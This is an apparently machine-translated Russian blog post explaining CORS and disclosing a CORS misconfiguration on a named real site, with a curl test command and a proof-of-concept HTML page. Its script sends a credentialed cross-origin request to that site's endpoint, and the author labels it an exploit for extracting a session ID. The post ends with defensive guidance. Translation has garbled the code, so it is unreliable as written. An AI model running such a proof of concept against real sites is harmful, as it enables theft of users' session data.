HTML5 предоставил нам несколько замечательных новых функций для работы в Интернете, обеспечивая поддержку новейших мультимедийных и серверных коммуникаций. Кроме того, все последние версии современных браузеров поддерживают HTML5. Эти функции разработаны, чтобы упростить включение и обработку мультимедийного и графического контента в Интернете без необходимости использования каких-либо сторонних подключаемых модулей или API-интерфейсов. Совместное использование ресурсов Cross Origin - одна из реализаций, которые HTML5 открыл.

Википедия определяет совместное использование ресурсов между разными источниками (CORS) как «механизм, который позволяет запрашивать ограниченные ресурсы (например, шрифты) на веб-странице из другого домена за пределами домена, из которого был создан ресурс. ». Таким образом, CORS пришел, по сути, для устранения некоторых ограничений, налагаемых политикой одинакового происхождения, которая блокировала бы доступ AJAX-запросов к данным на веб-странице, если только они не исходят из того же источника.

Проще говоря, создание изображения blog.monetha.io хочет получить доступ к некоторым данным на другом веб-сайте, предположим site.com. Такой тип запросов традиционно не разрешается в соответствии с Политикой одинакового происхождения браузера. Однако, поддерживая запросы CORS, site.com может добавлять несколько специальных заголовков ответов, которые позволяют example.com получать доступ к данным.

Вы можете использовать Curl, чтобы проверить, включен ли на веб-сайте CORS. Вы можете просто ввести следующую команду:

Curl https://blog.monetha.io/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fblog.monetha.io%2Fhow-am-i-different-from-tokencard -tenx-monaco% 2F H« Происхождение:

https://bing.com '-I

Снимок экрана (ответ):

Сервер может ответить:

Заголовок Access-Control-Allow-Origin в своем ответе с указанием исходных сайтов

разрешены. Например:

Access-Control-Allow-Origin: http://www.evil.com

Access-Control-Allow-Origin: http://www.evil.com

Страница с ошибкой, если сервер не разрешает запрос на другой источник:

Запрос заблокирован: та же политика происхождения запрещает чтение удаленного ресурса по адресу

Http://www.site.com/. Это может быть

исправлено перемещением ресурса в тот же домен или включением CORS.

Запрос заблокирован: та же политика происхождения запрещает чтение удаленного ресурса по адресу

Http://www.site.com/. Это может быть

исправлено перемещением ресурса в тот же домен или включением CORS.

Заголовок Access-Control-Allow-Origin (ACAO) с подстановочным знаком, разрешающий все

домены:

Доступ-Контроль-Разрешить-Происхождение: *

Доступ-Контроль-Разрешить-Происхождение: *

Я сделал для него быстрый poc-код

— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —

‹! DOCTYPE html›

‹Html›

‹H2› Использование CORS POC ‹/h2›

‹H3› Извлечь SID ‹/h3›

‹Div id =” demo ”›

‹Button type =” button ”onclick =” cors () ”› Exploit ‹/button›

‹/Div›

‹Script›

function cors () {

var xhttp = новый XMLHttpRequest ();

xhttp.onreadystatechange = function () {

if (this.readyState == 4 && this.status == 200) {

document.getElementById («демонстрация»). innerHTML = предупреждение (this.responseText);

}

};

xhttp.open («ПОЛУЧИТЬ», »https://blog.monetha.io/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fblog.monetha.io%2Fhow-am-i-different -from-tokencard-tenx-monaco% 2F », верно);

xhttp.withCredentials = true;

xhttp.send ();

}

‹/Script›

‹/Html›

— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —

Я разместил этот файл на своем сервере как cors.html

Надеюсь, это скоро будет исправлено

Руководство по безопасности:

Убедитесь, что URL-адреса, отвечающие с помощью Access-Control-Allow-Origin: *, не содержат конфиденциального содержимого или информации, которая может помочь злоумышленнику в дальнейших атаках.

Разрешить только выбранные доверенные домены в заголовке Access-Control-Allow-Origin. Предпочитайте белый список доменов занесению в черный список или разрешению любого домена (не используйте подстановочный знак * и не возвращайте содержимое заголовка Origin вслепую без каких-либо проверок).

Не полагайтесь только на заголовок Origin для проверок контроля доступа. Браузеры всегда отправляют этот заголовок в запросах CORS, но его можно подделать вне браузера. Для защиты конфиденциальных данных следует использовать протоколы уровня приложений.